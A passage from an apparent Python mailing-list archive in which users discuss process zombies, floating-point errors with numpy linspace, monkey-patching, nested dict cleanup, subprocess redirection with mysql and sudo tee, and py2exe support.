shouldn't you wait for the process to complete before exiting? >>> >>> Something like: >>> >>> pid = subprocess.Popen(...) >>> pid.wait() >>> >>> Otherwise, it'll exit before the background process is done. >> Why would that be a problem? >> > > Because you don't want to bog the system down with a zombie task. I think you're confusing zombies with orphans. A zombie results when a child exits before the parent and the parent fails to wait for it. An orphan is what you get if the parent exits before the child does. On a Un*x system, the 'init' process (the process with ID 1) inherits orphan processes and collects their exit status when they terminate. Thus orphans do not become zombies. I have no idea what would happen under Windows. Hope this helps, -- HansM From thbach at students.uni-mainz.de Tue Dec 18 07:20:25 2012 From: thbach at students.uni-mainz.de (Thomas Bach) Date: Tue, 18 Dec 2012 13:20:25 +0100 Subject: I need help with graphs in python (2.7.3.1) In-Reply-To: References: Message-ID: <20121218122025.GA3742@taris.box> Hi, Most of the tasks you have to do can be achieved quite easily with the standard library (except the plotting). On Tue, Dec 18, 2012 at 03:29:49AM -0800, hevymetl07 at gmail.com wrote: > These are some steps I need to do first before creating the graph: > - Get the name of a CSV file from an ini file, Have a look at the ConfigParser module[1], > - Next, read a line from this CSV file, well, the csv module[2] apparently is a good choice for that, > - Increase a variable depending on the Log level (information, > - warning, error, critical), you maybe want to use collections.counter for that[3]. Anyways, I think matplotlib can handle the counting for you? > - Read the next line, this is just iteration over the csv instance you created with your file > - Then I need to print these results in a Graph. I use matplotlib for this purpose, have a look at their gallery[4] to decide what kind of plot best fits your needs. I'd recommend to install ipython and start playing around with the modules I just told you. If you are stuck somewhere read the documentation properly (it's actually all in there) and come back again if you cannot come up with a solution. Hope this helps, Thomas Bach. Footnotes: [1] http://docs.python.org/2/library/configparser.html [2] http://docs.python.org/2/library/csv.html [3] http://docs.python.org/2/library/collections.html#collections.Counter [4] http://matplotlib.org/gallery.html From __peter__ at web.de Tue Dec 18 07:35:54 2012 From: __peter__ at web.de (Peter Otten) Date: Tue, 18 Dec 2012 13:35:54 +0100 Subject: Is it possible monkey patch like this? References: Message-ID: Marc Aymerich wrote: > Dear all, > I want to monkey patch a method that has lots of code so I want to avoid > copying all the original method for changing just two lines. The thing is > that I don't know how to do this kind of monkey patching. > > Consider the following code: > > class OringinalClass(object): > def origina_method(self, *args, **kwargs): > ... > if some_condition(): # This condition should be changed > raise SomeException > ... > if some_condition(): > ... > #if some_condition(local_variable): # This condition should be > #added > # raise SomeException > ... > > > Is it possible to tell Python to run the original method without stopping > when an exception is raised? No. > so I can catch them on a wrapper method and > apply my conditional there. > > Any other idea on how to monkey patch those two conditionals ? One of the cleanest alternatives is to factor out the condition in the original class and then use a subclass: class Original: def method(self, *args, **kw): self.check_condition(...) ... def check_condition(self, ...): if condition: raise SomeException class Sub(Original): def check_condition(self, ...): pass If you insist on monkey-patching possible solutions depend on the actual conditions. If some_condition() is a function, replace that function. If it is actually an expression tweak the arguments. E. g: >>> class Original: ... def method(self, x): ... if x < 0: raise ValueError ... print x * x ... >>> Original().method(-2) Traceback (most recent call last): File "", line 1, in File "", line 3, in method ValueError >>> class Int(int): ... def __lt__(self, other): return False # a blunt lie ... >>> Original().method(Int(-2)) 4 This tends to get complex quickly, so in the long run you will not be happy with that approach... From jeandubois314 at gmail.com Tue Dec 18 07:37:01 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Tue, 18 Dec 2012 04:37:01 -0800 (PST) Subject: [newbie] problem making equally spaced value array with linspace Message-ID: <8c737c12-7709-4cd3-aa10-2b151191e27f@r4g2000vbi.googlegroups.com> I have trouble with the code beneath to make an array with equally spaced values When I enter 100e-6 as start value, 700e-6 as end value and 100e-6 I get the following result: [ 0.0001 0.00022 0.00034 0.00046 0.00058 0.0007 ] But I was hoping for: [ 0.0001 0.0002 0.0003 0.0004 0.0005 0.0006 0.0007] It works correctly for other values like 1,7,1 but not for 0.1,0.7,0.1 then again for 0.01,0.07,0.01 What I find strange is that for the 1st example "1+abs(float(endvalue)- float(startvalue))/float(incr)" gives 7.0 but int() of this value gives 6 can someone provide help with this issue? thanks jean #!/usr/bin/python import math import numpy as np print "Enter start value as a float (e.g. 0.001) or in scientific notation (e.g. 1e-3): ", startvalue = raw_input() print "Enter end value: ", endvalue = raw_input() print "Enter step: ", incr = raw_input() #nom = number of measurements nom=int(1+abs(float(endvalue)-float(startvalue))/float(incr)) array=np.linspace(float(startvalue), float(endvalue), float(nom)) print "Array with current values: ",array From __peter__ at web.de Tue Dec 18 08:09:30 2012 From: __peter__ at web.de (Peter Otten) Date: Tue, 18 Dec 2012 14:09:30 +0100 Subject: [newbie] problem making equally spaced value array with linspace References: <8c737c12-7709-4cd3-aa10-2b151191e27f@r4g2000vbi.googlegroups.com> Message-ID: Jean Dubois wrote: > I have trouble with the code beneath to make an array with equally > spaced values > When I enter 100e-6 as start value, 700e-6 as end value and 100e-6 I > get the following result: > [ 0.0001 0.00022 0.00034 0.00046 0.00058 0.0007 ] > But I was hoping for: > [ 0.0001 0.0002 0.0003 0.0004 0.0005 0.0006 0.0007] > It works correctly for other values like 1,7,1 but not for 0.1,0.7,0.1 > then again for 0.01,0.07,0.01 > > What I find strange is that for the 1st example "1+abs(float(endvalue)- > float(startvalue))/float(incr)" gives 7.0 but int() of this value > gives 6 > can someone provide help with this issue? > thanks > jean > > #!/usr/bin/python > import math > import numpy as np > print "Enter start value as a float (e.g. 0.001) or in scientific > notation (e.g. 1e-3): ", > startvalue = raw_input() > print "Enter end value: ", > endvalue = raw_input() > print "Enter step: ", > incr = raw_input() > #nom = number of measurements > nom=int(1+abs(float(endvalue)-float(startvalue))/float(incr)) > array=np.linspace(float(startvalue), float(endvalue), float(nom)) > print "Array with current values: ",array If you repeat the calculation of the number of intervals in the interpreter you get >>> 1 + abs(0.0007-0.0001)/0.0001 6.999999999999999 Many numbers cannot be represented exactly as float (that's the price you have to pay for covering a wide range with just a few (8) bytes), and you have introduced such a small error. The subsequent int() call will round that float to the integer below it: >>> int(_) 6 While applying round() would work here >>> int(round(1 + abs(0.0007-0.0001)/0.0001)) 7 there is no once-and-for-all solution to the underlying problem. E. g. >>> x = 2.**53 >>> x == x + 1 True From news at blinne.net Tue Dec 18 08:10:42 2012 From: news at blinne.net (Alexander Blinne) Date: Tue, 18 Dec 2012 14:10:42 +0100 Subject: [newbie] problem making equally spaced value array with linspace In-Reply-To: <8c737c12-7709-4cd3-aa10-2b151191e27f@r4g2000vbi.googlegroups.com> References: <8c737c12-7709-4cd3-aa10-2b151191e27f@r4g2000vbi.googlegroups.com> Message-ID: <50d06b53$0$6576$9b4e6d93@newsspool3.arcor-online.net> Am 18.12.2012 13:37, schrieb Jean Dubois: > I have trouble with the code beneath to make an array with equally > spaced values > When I enter 100e-6 as start value, 700e-6 as end value and 100e-6 I > get the following result: > [ 0.0001 0.00022 0.00034 0.00046 0.00058 0.0007 ] > But I was hoping for: > [ 0.0001 0.0002 0.0003 0.0004 0.0005 0.0006 0.0007] > It works correctly for other values like 1,7,1 but not for 0.1,0.7,0.1 > then again for 0.01,0.07,0.01 > > What I find strange is that for the 1st example "1+abs(float(endvalue)- > float(startvalue))/float(incr)" gives 7.0 but int() of this value > gives 6 > can someone provide help with this issue? > thanks > jean > > #!/usr/bin/python > import math > import numpy as np > print "Enter start value as a float (e.g. 0.001) or in scientific > notation (e.g. 1e-3): ", > startvalue = raw_input() > print "Enter end value: ", > endvalue = raw_input() > print "Enter step: ", > incr = raw_input() > #nom = number of measurements > nom=int(1+abs(float(endvalue)-float(startvalue))/float(incr)) > array=np.linspace(float(startvalue), float(endvalue), float(nom)) > print "Array with current values: ",array The Problem is the accuracy/precision of floating point operations Python 2.7.3 (default, Aug 1 2012, 05:14:39) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> a = 100e-6 #start >>> b = 700e-6 #end >>> c = 100e-6 #incr >>> 1+(b-a)/c 6.999999999999999 and the fact that int() only takes the integer part of a floating point number. >>> int(1+(b-a)/c) 6 So you have to make a more detailed decision about the number of points in the case that (end-start)/incr is not exactly an integer which it will almost never be. The np.arange(a,b,c) function chooses a simple rule: give a list of numbers a + k * c with k running from 0 to the highest integer with a + k * c < b. >>> np.arange(a,b,c) array([ 0.0001, 0.0002, 0.0003, 0.0004, 0.0005, 0.0006]) You can get your desired list by adding some epsilon to the value of b. Just make sure your epsilon is quite small compared to c. >>> np.arange(a,b+1e-15,c) array([ 0.0001, 0.0002, 0.0003, 0.0004, 0.0005, 0.0006, 0.0007]) Greetings From jeandubois314 at gmail.com Tue Dec 18 08:37:18 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Tue, 18 Dec 2012 05:37:18 -0800 (PST) Subject: problem making equally spaced value array with linspace References: <8c737c12-7709-4cd3-aa10-2b151191e27f@r4g2000vbi.googlegroups.com> Message-ID: <37810690-c1a0-47b9-bf63-108a3f0ebfdd@hf3g2000vbb.googlegroups.com> On 18 dec, 14:09, Peter Otten <__pete... at web.de> wrote: > Jean Dubois wrote: > > I have trouble with the code beneath to make an array with equally > > spaced values > > When I enter 100e-6 as start value, 700e-6 as end value and 100e-6 I > > get the following result: > > [ 0.0001 ? 0.00022 ?0.00034 ?0.00046 ?0.00058 ?0.0007 ] > > But I was hoping for: > > [ 0.0001 ? 0.0002 ?0.0003 ?0.0004 ?0.0005 ?0.0006 0.0007] > > It works correctly for other values like 1,7,1 but not for 0.1,0.7,0.1 > > then again for 0.01,0.07,0.01 > > > What I find strange is that for the 1st example "1+abs(float(endvalue)- > > float(startvalue))/float(incr)" gives 7.0 but int() of this value > > gives 6 > > can someone provide help with this issue? > > thanks > > jean > > > #!/usr/bin/python > > import math > > import numpy as np > > print "Enter start value as a float (e.g. 0.001) or in scientific > > notation (e.g. 1e-3): ", > > startvalue = raw_input() > > print "Enter end value: ", > > endvalue = raw_input() > > print "Enter step: ", > > incr = raw_input() > > #nom = number of measurements > > nom=int(1+abs(float(endvalue)-float(startvalue))/float(incr)) > > array=np.linspace(float(startvalue), float(endvalue), float(nom)) > > print "Array with current values: ",array > > If you repeat the calculation of the number of intervals in the interpreter > you get > > >>> 1 + abs(0.0007-0.0001)/0.0001 > > 6.999999999999999 > > Many numbers cannot be represented exactly as float (that's the price you > have to pay for covering a wide range with just a few (8) bytes), and you > have introduced such a small error. The subsequent int() call will round > that float to the integer below it: > > >>> int(_) > > 6 > > While applying round() would work here > > >>> int(round(1 + abs(0.0007-0.0001)/0.0001)) > > 7 > > there is no once-and-for-all solution to the underlying problem. E. g. > > >>> x = 2.**53 > >>> x == x + 1 > > True thanks jean From roy at panix.com Tue Dec 18 09:28:19 2012 From: roy at panix.com (Roy Smith) Date: Tue, 18 Dec 2012 09:28:19 -0500 Subject: where to view open() function's C implementation source code ? References: Message-ID: In article , iMath wrote: > ????? 2012??N12????18????????????????????UTC+8??????????1???35???58??????Roy Smith????????? > > In article , > > > > iMath wrote: > > > > > > > > > where to view open() function's C implementation source code ??? > > > > > > > > http://www.python.org/download/releases/ > > > > > > > > Download the source for the version you're interested in. > > but which python module is open() in ? I met you half-way, I showed you where the source code is. Now you need to come the other half and look at the code. Maybe start by grepping the entire source tree for "open"? From rosuav at gmail.com Tue Dec 18 10:03:25 2012 From: rosuav at gmail.com (Chris Angelico) Date: Wed, 19 Dec 2012 02:03:25 +1100 Subject: where to view open() function's C implementation source code ? In-Reply-To: References: Message-ID: On Wed, Dec 19, 2012 at 1:28 AM, Roy Smith wrote: > In article , > iMath wrote: >> > Download the source for the version you're interested in. >> >> but which python module is open() in ? > > I met you half-way, I showed you where the source code is. Now you > need to come the other half and look at the code. Maybe start by > grepping the entire source tree for "open"? Ouch, that mightn't be very effective! With some function names, you could do that. Not so much "open". Still, it'd be a start... ChrisA From gnarlodious at gmail.com Tue Dec 18 10:27:43 2012 From: gnarlodious at gmail.com (Gnarlodious) Date: Tue, 18 Dec 2012 07:27:43 -0800 (PST) Subject: Delete dict and subdict items of some name In-Reply-To: <50d0460e$0$6926$e4fe514c@news2.news.xs4all.nl> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <70a0560d-3ae2-4b24-87f1-dcc3fa6cd4fb@googlegroups.com> <50d0460e$0$6926$e4fe514c@news2.news.xs4all.nl> Message-ID: On Tuesday, December 18, 2012 3:31:41 AM UTC-7, Hans Mulder wrote: > On 18/12/12 06:30:48, Gnarlodious wrote: > > > This problem is solved, I am so proud of myself for figuring it out! > > > After reading some of these ideas I discovered the plist is really > > > lists underneath any "Children" key: > > > > > > > > > from plistlib import readPlist > > > > > > def explicate(listDicts): > > > for dict in listDicts: > > > if 'FavIcon' in dict: > > > del dict['FavIcon'] > > > if 'Children' in dict: > > > dict['Children']=explicate(dict['Children']) > > > return listDicts > > It would be more Pythonic to return None, to indicate that you've > changed the list in situ. > > Since None is the default return value, this means you can leave > out the return statement. But then it only operates on the outer layer, inner layers might get processed but not written. Unless I don't understand what you're saying. --Gnarlie From d at davea.name Tue Dec 18 10:37:29 2012 From: d at davea.name (Dave Angel) Date: Tue, 18 Dec 2012 10:37:29 -0500 Subject: [newbie] problem making equally spaced value array with linspace In-Reply-To: <8c737c12-7709-4cd3-aa10-2b151191e27f@r4g2000vbi.googlegroups.com> References: <8c737c12-7709-4cd3-aa10-2b151191e27f@r4g2000vbi.googlegroups.com> Message-ID: <50D08DB9.7090309@davea.name> On 12/18/2012 07:37 AM, Jean Dubois wrote: > I have trouble with the code beneath to make an array with equally > spaced values > When I enter 100e-6 as start value, 700e-6 as end value and 100e-6 I > get the following result: > [ 0.0001 0.00022 0.00034 0.00046 0.00058 0.0007 ] > But I was hoping for: > [ 0.0001 0.0002 0.0003 0.0004 0.0005 0.0006 0.0007] > It works correctly for other values like 1,7,1 but not for 0.1,0.7,0.1 > then again for 0.01,0.07,0.01 I started this answer before there were any others visible, but had to rush off to the dentist. Now I'm finishing it and sending it, even though there's some overlap with the other posts. What Python has in common with nearly every other language is the use of binary floating point. Unlike integers, floating point values can have both roundoff and quantization errors. The former happen with many operations, like you can see with pencil and paper trying to divide 1 by 3, and storing the result in 10 columns. But quantization errors aren't as obvious. They can occur whenever you convert a number from one format to another. In this case, you're converting from the decimal string to a binary float. To put it simply binary floats can't store any decimal number exactly exact integers, and mixed numbers where the fractional part happens to be an exact multiple of a power of two. So 0.5 is exact, but you get quantization error with 0.1, 0.2, ... 0.9 This is compounded by the fact that print will convert the number back to a decimal string. So sometimes the two quantization errors happen to cancel, and sometimes they don't. Now, your particular case is due to the convoluted way you calculate nom. And the easiest way to fix it would be to add 0.5 before truncating with int(). Or better yet, have the user tell you how many he wants in his list, and calculate the other way around. If instead of 10 items, you have 100000 of them, you'll get a cumulative error with your approach. So you'd use a formula like start + (end-start)*i/nom which would assure that each value was really close without cumulative errors. No idea how that'd fit with numpy. Another approach is to use the Decimal package. It's not inherently any more accurate, but the errors are where you'd expect them, and you don't get the quantization error converting back and forth to string. -- DaveA From tjreedy at udel.edu Tue Dec 18 11:29:37 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 18 Dec 2012 11:29:37 -0500 Subject: Delete dict and subdict items of some name In-Reply-To: References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <70a0560d-3ae2-4b24-87f1-dcc3fa6cd4fb@googlegroups.com> <50d0460e$0$6926$e4fe514c@news2.news.xs4all.nl> Message-ID: On 12/18/2012 10:27 AM, Gnarlodious wrote: > On Tuesday, December 18, 2012 3:31:41 AM UTC-7, Hans Mulder wrote: >> On 18/12/12 06:30:48, Gnarlodious wrote: >>> from plistlib import readPlist I do not see this used below. >>> def explicate(listDicts): >>> for dict in listDicts: >>> if 'FavIcon' in dict: >>> del dict['FavIcon'] >>> if 'Children' in dict: >>> dict['Children']=explicate(dict['Children']) >>> return listDicts >> It would be more Pythonic to return None, to indicate that you've >> changed the list in situ. And since it is being changed at the top level (by deletion), it should be changed in place all the way down. >> Since None is the default return value, this means you can leave >> out the return statement. dict['Children']=explicate(dict['Children']) would then need to be explicate(dict['Children']) > But then it only operates on the outer layer, > inner layers might get processed but not written. I believe the above answers your concern. But to be sure it is correct, YOU NEED TEST CASES. In fact, your original post should have contained at least one non-trivial test case: an input dict and what you wanted it to look like after processing. Writing at least some tests before code is a great idea. -- Terry Jan Reedy From tjreedy at udel.edu Tue Dec 18 11:43:17 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 18 Dec 2012 11:43:17 -0500 Subject: I need help with graphs in python (2.7.3.1) In-Reply-To: References: Message-ID: On 12/18/2012 6:29 AM, hevymetl07 at gmail.com wrote: > Hi there, I hope that there is someone willing to help me out, I need > to generate a graph in Python 2.7.3.1, There is only 2.7.3, no 2.7.3.1, at least not officially. > I had to make a .CSV file from my Windows system logs (already did > that), and the following steps must bw written in the form of a > Python 2.7.3.1 script. > > These are some steps I need to do first before creating the graph: - > Get the name of a CSV file from an ini file, - Next, read a line from > this CSV file, - Increase a variable depending on the Log level > (information, warning, error, critical), - Read the next line, - Then > I need to print these results in a Graph. It sounds like your data consist of 4 counts. If so, you can easily make a simple bar plot with characters Log level Number Plot (x = 10) ---------- ------ ----------------------------------------------------- infomation 386 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx warning 97 xxxxxxxxxx error 5 x critical 23 xxx The main problem is to compute the scaling factor from the data. You also have to decide on the rounding (I rounded up). -- Terry Jan Reedy From tjreedy at udel.edu Tue Dec 18 11:49:07 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 18 Dec 2012 11:49:07 -0500 Subject: Is it possible monkey patch like this? In-Reply-To: References: Message-ID: On 12/18/2012 5:26 AM, Marc Aymerich wrote: > I want to monkey patch a method that has lots of code so I want to > avoid copying all the original method for changing just two lines. You omitted the most important piece of information. Can you modify the original code (or get someone else to do so) or must you leave it as is? Chris and Peter gave you answers for the former case. If the latter, you must copy and modify for the change you specified. -- Terry Jan Reedy From conor.robinson at gmail.com Tue Dec 18 13:26:25 2012 From: conor.robinson at gmail.com (py_genetic) Date: Tue, 18 Dec 2012 10:26:25 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> Message-ID: <6ff54b92-70f1-44fb-a5a5-17133e1a6faa@googlegroups.com> Oscar I can confirm this behavior from terminal. AND this works as well, simulating exactly what I'm doing permissions wise, and calling sudo python test.py below f1 = open('TESTDIR/file1.txt', 'w') f1.write('some test here\n') f1.close() cmd1 = 'cat < TESTDIR/file1.txt > TESTDIR/file2.txt' P = Popen(cmd1, shell=True) P.wait() cmd2 = 'cat < TESTDIR/file1.txt | sudo tee TESTDIR/file3.txt' P = Popen(cmd2, shell=True) P.wait() -rw-r--r-- 1 root root 15 Dec 18 12:57 file1.txt -rw-r--r-- 1 root root 15 Dec 18 12:57 file2.txt -rw-r--r-- 1 root root 15 Dec 18 12:57 file3.txt HOWEVER... when using this command from before.... no dice /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL > /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT OR /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL | sudo tee /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT So it's basically as if python gets a response instantly (perhaps from the query) and closes the process, since we've verified its not permissions related. Perhaps someone can try a mysql cmd line such as above within python? And see if you can verify this behavior. I believe the query returning with no errors is shutting the sub shell/process? I've tried this with all options p.wait() ect as well as parsing the command and running shell false. Again the exact command run perfect when pasted and run from the shell. I'll try running it a few other ways with some diff db options. > Follow through the bash session below > > > > $ cd /usr > > $ ls > > bin games include lib local sbin share src > > $ touch file > > touch: cannot touch `file': Permission denied > > $ sudo touch file > > [sudo] password for oscar: > > $ ls > > bin file games include lib local sbin share src > > $ cat < file > file2 > > bash: file2: Permission denied > > $ sudo cat < file > file2 > > bash: file2: Permission denied > > $ sudo cat < file > file2 > > bash: file2: Permission denied > > $ sudo cat < file | tee file2 > > tee: file2: Permission denied > > $ sudo cat < file | sudo tee file2 > > $ ls > > bin file file2 games include lib local sbin share src > > > > The problem is that when you do > > > > $ sudo cmd > file2 > > > > it is sort of like doing > > > > $ sudo cmd | this_bash_session > file2 > > > > so the permissions used to write to file2 are the same as the bash > > session rather than the command cmd which has root permissions. By > > piping my output into "sudo tee file2" I can get file2 to be written > > by a process that has root permissions. > > > > I suspect you have the same problem although it all complicated by the > > fact that everything is a subprocess of Python. Is it possibly the > > case that the main Python process does not have root permissions but > > you are using it to run a command with sudo that then does have root > > permissions? > > > > Does piping through something like "sudo tee" help? > > > > > > Oscar From conor.robinson at gmail.com Tue Dec 18 13:26:25 2012 From: conor.robinson at gmail.com (py_genetic) Date: Tue, 18 Dec 2012 10:26:25 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> Message-ID: <6ff54b92-70f1-44fb-a5a5-17133e1a6faa@googlegroups.com> Oscar I can confirm this behavior from terminal. AND this works as well, simulating exactly what I'm doing permissions wise, and calling sudo python test.py below f1 = open('TESTDIR/file1.txt', 'w') f1.write('some test here\n') f1.close() cmd1 = 'cat < TESTDIR/file1.txt > TESTDIR/file2.txt' P = Popen(cmd1, shell=True) P.wait() cmd2 = 'cat < TESTDIR/file1.txt | sudo tee TESTDIR/file3.txt' P = Popen(cmd2, shell=True) P.wait() -rw-r--r-- 1 root root 15 Dec 18 12:57 file1.txt -rw-r--r-- 1 root root 15 Dec 18 12:57 file2.txt -rw-r--r-- 1 root root 15 Dec 18 12:57 file3.txt HOWEVER... when using this command from before.... no dice /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL > /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT OR /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL | sudo tee /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT So it's basically as if python gets a response instantly (perhaps from the query) and closes the process, since we've verified its not permissions related. Perhaps someone can try a mysql cmd line such as above within python? And see if you can verify this behavior. I believe the query returning with no errors is shutting the sub shell/process? I've tried this with all options p.wait() ect as well as parsing the command and running shell false. Again the exact command run perfect when pasted and run from the shell. I'll try running it a few other ways with some diff db options. > Follow through the bash session below > > > > $ cd /usr > > $ ls > > bin games include lib local sbin share src > > $ touch file > > touch: cannot touch `file': Permission denied > > $ sudo touch file > > [sudo] password for oscar: > > $ ls > > bin file games include lib local sbin share src > > $ cat < file > file2 > > bash: file2: Permission denied > > $ sudo cat < file > file2 > > bash: file2: Permission denied > > $ sudo cat < file > file2 > > bash: file2: Permission denied > > $ sudo cat < file | tee file2 > > tee: file2: Permission denied > > $ sudo cat < file | sudo tee file2 > > $ ls > > bin file file2 games include lib local sbin share src > > > > The problem is that when you do > > > > $ sudo cmd > file2 > > > > it is sort of like doing > > > > $ sudo cmd | this_bash_session > file2 > > > > so the permissions used to write to file2 are the same as the bash > > session rather than the command cmd which has root permissions. By > > piping my output into "sudo tee file2" I can get file2 to be written > > by a process that has root permissions. > > > > I suspect you have the same problem although it all complicated by the > > fact that everything is a subprocess of Python. Is it possibly the > > case that the main Python process does not have root permissions but > > you are using it to run a command with sudo that then does have root > > permissions? > > > > Does piping through something like "sudo tee" help? > > > > > > Oscar From oscar.j.benjamin at gmail.com Tue Dec 18 13:52:46 2012 From: oscar.j.benjamin at gmail.com (Oscar Benjamin) Date: Tue, 18 Dec 2012 18:52:46 +0000 Subject: os.system and subprocess odd behavior In-Reply-To: <6ff54b92-70f1-44fb-a5a5-17133e1a6faa@googlegroups.com> References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> <6ff54b92-70f1-44fb-a5a5-17133e1a6faa@googlegroups.com> Message-ID: Can you trim content and interleave your response (instead of top-posting) please? On 18 December 2012 18:26, py_genetic wrote: > HOWEVER... > > when using this command from before.... no dice > > /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL > /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT > > OR > > /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL | sudo tee /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT > > So it's basically as if python gets a response instantly (perhaps from the query) and closes the process, since we've verified its not permissions related. I wouldn't say that this is verified. Have you verified that without the last redirection (to the output file) you can correctly read the stdout from within Python? Does the same command work if you put it in a shell script? If so what about making a script like so: #!/usr/bin/env bash jobname="$1" /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < "/home/myusr/jobs/APP_JOBS/JOB_${jobname}.SQL" | sudo tee "/home/myusr/jobs/APP_JOBS/JOB_${jobname}.TXT" If that works when you run it directly, does it work if you do: subprocess.check_call(['myscript.sh', jobname]) Oscar From cjw at ncf.ca Tue Dec 18 14:18:06 2012 From: cjw at ncf.ca (Colin J. Williams) Date: Tue, 18 Dec 2012 14:18:06 -0500 Subject: py2exe is on Sourceforge list of top growth projects In-Reply-To: References: Message-ID: On 18/12/2012 1:52 AM, Frank Millman wrote: > This is from Sourceforge's monthly update - > > > > Top Growth Projects > > We're always on the lookout for projects that might be doing interesting > things, and a surge in downloads is one of many metrics that we look at > to identify them. Here's the projects that had the greatest growth in > the last month. > > [...] > > py2exe: A distutils extension to create standalone Windows programs from > python scripts. > > > > It is 19th on a list of 19, but still, it is nice to see. I wonder if > there was any particular reason for that? > > Frank Millman > Yes, but py2exe appears limited to Python 2.6. PyInstaller is another option with similar functionality. Colin W. From vlastimil.brom at gmail.com Tue Dec 18 15:15:54 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Tue, 18 Dec 2012 21:15:54 +0100 Subject: py2exe is on Sourceforge list of top growth projects In-Reply-To: References: Message-ID: 2012/12/18 Colin J. Williams : ... > Yes, but py2exe appears limited to Python 2.6. > > PyInstaller is another option with similar functionality. > > Colin W. > -- > http://mail.python.org/mailman/listinfo/python-list There are versions for python 2.3 - 2.7: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/ (for some reason, 2.6 appears in a more visible link) However, unfortunately, there isn't any support for python 3 (that I know of - I'd love to be wrong in this). vbr From conor.robinson at gmail.com Tue Dec 18 15:52:58 2012 From: conor.robinson at gmail.com (py_genetic) Date: Tue, 18 Dec 2012 12:52:58 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> <6ff54b92-70f1-44fb-a5a5-17133e1a6faa@googlegroups.com> Message-ID: Solved the issue, by injecting the query into the cmd line. Shell script worked fine as if I was cutting and pasting to the prompt. Seems to still be something with the subprocess receiving and exit code before or when the query finishes, just when I ask to to read from the .SQL file. example called from in python: mysql .... < file.txt > out.txt <---- doesn't work (query is run 0Byte output) mysql .... -e "my query" > out.txt <----- does work However this isn't standard mysql as it's infinidb. Maybe this is an esoteric issue. Thanks for the help Oscar. Frustrating since it seems illogical.... seems if the cmd runs in the shell it should have the exact same behavior from a subprocess shell=True cmd string call. If I find anything else I'll update this. From conor.robinson at gmail.com Tue Dec 18 15:52:58 2012 From: conor.robinson at gmail.com (py_genetic) Date: Tue, 18 Dec 2012 12:52:58 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> <6ff54b92-70f1-44fb-a5a5-17133e1a6faa@googlegroups.com> Message-ID: Solved the issue, by injecting the query into the cmd line. Shell script worked fine as if I was cutting and pasting to the prompt. Seems to still be something with the subprocess receiving and exit code before or when the query finishes, just when I ask to to read from the .SQL file. example called from in python: mysql .... < file.txt > out.txt <---- doesn't work (query is run 0Byte output) mysql .... -e "my query" > out.txt <----- does work However this isn't standard mysql as it's infinidb. Maybe this is an esoteric issue. Thanks for the help Oscar. Frustrating since it seems illogical.... seems if the cmd runs in the shell it should have the exact same behavior from a subprocess shell=True cmd string call. If I find anything else I'll update this. From rurpy at yahoo.com Tue Dec 18 15:57:37 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Tue, 18 Dec 2012 12:57:37 -0800 (PST) Subject: =?UTF-8?Q?Re=3A_where_to_view__open=28=29_function=27s_C_implementatio?= =?UTF-8?Q?n_source_code_=EF=BF=BD?= In-Reply-To: References: Message-ID: On Monday, December 17, 2012 10:35:58 PM UTC-7, Roy Smith wrote: > iMath wrote: > > where to view open() function's C implementation source code ? > http://www.python.org/download/releases/ > Download the source for the version you're interested in. iMath: There is no need to download the source. You can browse the source code online. For the v3.0.0 version of open(): 